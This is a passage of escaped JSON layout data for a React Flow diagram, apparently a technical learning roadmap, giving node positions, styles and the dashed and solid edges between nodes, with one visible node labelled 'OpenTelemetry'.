\"K81bmtgnB1gfhYdi3TB5a\"\n      },\n      \"position\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2661.733953859971\n      },\n      \"width\": 180,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2661.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K81bmtgnB1gfhYdi3TB5a\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"OpenTelemetry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2714.733953859971\n      },\n      \"width\": 180,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2714.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fqBgeJj5fan4TT7K2E6c7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fqBgeJj5fan4TT7K2E6c7x2-43OZ35TemharSqfrst0Pvw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"npnMwSDEK2aLGgnuZZ4dO\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-43OZ35TemharSqfrst0Pvz2-npnMwSDEK2aLGgnuZZ4dOy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TwVfCYMS9jSaJ6UyYmC-K\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-43OZ35TemharSqfrst0Pvz2-TwVfCYMS9jSaJ6UyYmC-Ky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"QCdemtWa2mE78poNXeqzr\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-43OZ35TemharSqfrst0Pvz2-QCdemtWa2mE78poNXeqzry1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qe84v529VbCyydl0BKFk2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-v5FGKQc-_7NYEsWjmTEuqy2-qe84v529VbCyydl0BKFk2w1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qe84v529VbCyydl0BKFk2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UOQimp7QkM3sxmFvk5d3i\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qe84v529VbCyydl0BKFk2y2--JGe6oHUuaAdakoOjTV5uz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LvhFmlxz5uIy7k_nzx2Bv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uyDm1SpOQdpHjq9zBAdck\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Qc0MGR5bMG9eeM5Zb9PMky2-uyDm1SpOQdpHjq9zBAdckz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ot9I_IHdnq2yAMffrSrbN\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"bmHnwD2nIg95ZVfAmXqS1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h9vVPOmdUSeEGVQQaSTH5\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"SstGW5b1UPVaHGt-Y7w-_\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kv508kxzUj_CjZRb-TeRv\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"RfujDfY2MG_URhxgfxNza\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yP1y8U3eblpzbaLiCGliU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"eU-45q4z1KXc8WxhJIiyf\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qqRLeTpuoW64H9LvY0U_w\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NiVvRbCOCDpVvif48poCo\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Qc0MGR5bMG9eeM5Zb9PMkx2-NiVvRbCOCDpVvif48poCow1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"i-DLwNXdCUUug6lfjkPSy\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"q-wvJOcjoWmujwd8jVUM3\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qe84v529VbCyydl0BKFk2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-qe84v529VbCyydl0BKFk2z2-wjJPzrFJBNYOD3SJLzW2My1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"5wtPMLYSddAJiqMU41_XT\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2Mw2-5wtPMLYSddAJiqMU41_XTx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LvhFmlxz5uIy7k_nzx2Bv\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2My2-LvhFmlxz5uIy7k_nzx2Bvz1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Jt8BmtLUH6fHT2pGKoJs3\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2Mx2-Jt8BmtLUH6fHT2pGKoJs3w2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"z6IBekR8Xl-6f8WEb05Nw\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2Mw2-z6IBekR8Xl-6f8WEb05Nwx2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"x-JWvG1iw86ULL9KrQmRu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2Mz2-x-JWvG1iw86ULL9KrQmRuy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gIEQDgKOsoEnSv8mpEzGH\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2Mz2-gIEQDgKOsoEnSv8mpEzGHy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OaqKLZe-XnngcDhDzCtRt\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2Mz2-OaqKLZe-XnngcDhDzCtRty1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cUifrP7v55psTb20IZndf\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wjJPzrFJBNYOD3SJLzW2Mz2-cUifrP7v55psTb20IZndfy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h10BH3OybHcIN2iDTSGkn\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ot9I_IHdnq2yAMffrSrbN\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h10BH3OybHcIN2iDTSGkny2-ot9I_IHdnq2yAMffrSrbNz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h10BH3OybHcIN2iDTSGkn\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"oQIB0KE0BibjIYmxrpPZS\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h10BH3OybHcIN2iDTSGkny2-oQIB0KE0BibjIYmxrpPZSz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h10BH3OybHcIN2iDTSGkn\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Z7SsBWgluZWr9iWb2e9XO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h10BH3OybHcIN2iDTSGkny2-Z7SsBWgluZWr9iWb2e9XOz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h10BH3OybHcIN2iDTSGkn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CQhUflAcv1lhBnmDY0gaz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-h10BH3OybHcIN2iDTSGknz2-CQhUflAcv1lhBnmDY0gazy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CQhUflAcv1lhBnmDY0gaz\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"qYRJYIZsmf-inMqKECRkI\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CQhUflAcv1lhBnmDY0gazw2-qYRJYIZsmf-inMqKECRkIx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CQhUflAcv1lhBnmDY0gaz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jCWrnQNgjHKyhzd9dwOHz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-CQhUflAcv1lhBnmDY0gazz2-jCWrnQNgjHKyhzd9dwOHzy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jCWrnQNgjHKyhzd9dwOHz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"PsbYeHGMd9E1UNqcaFQOz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-jCWrnQNgjHKyhzd9dwOHzx2-PsbYeHGMd9E1UNqcaFQOzw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jCWrnQNgjHKyhzd9dwOHz\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"w5d24Sf8GDkLDLGUPxzS9\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": 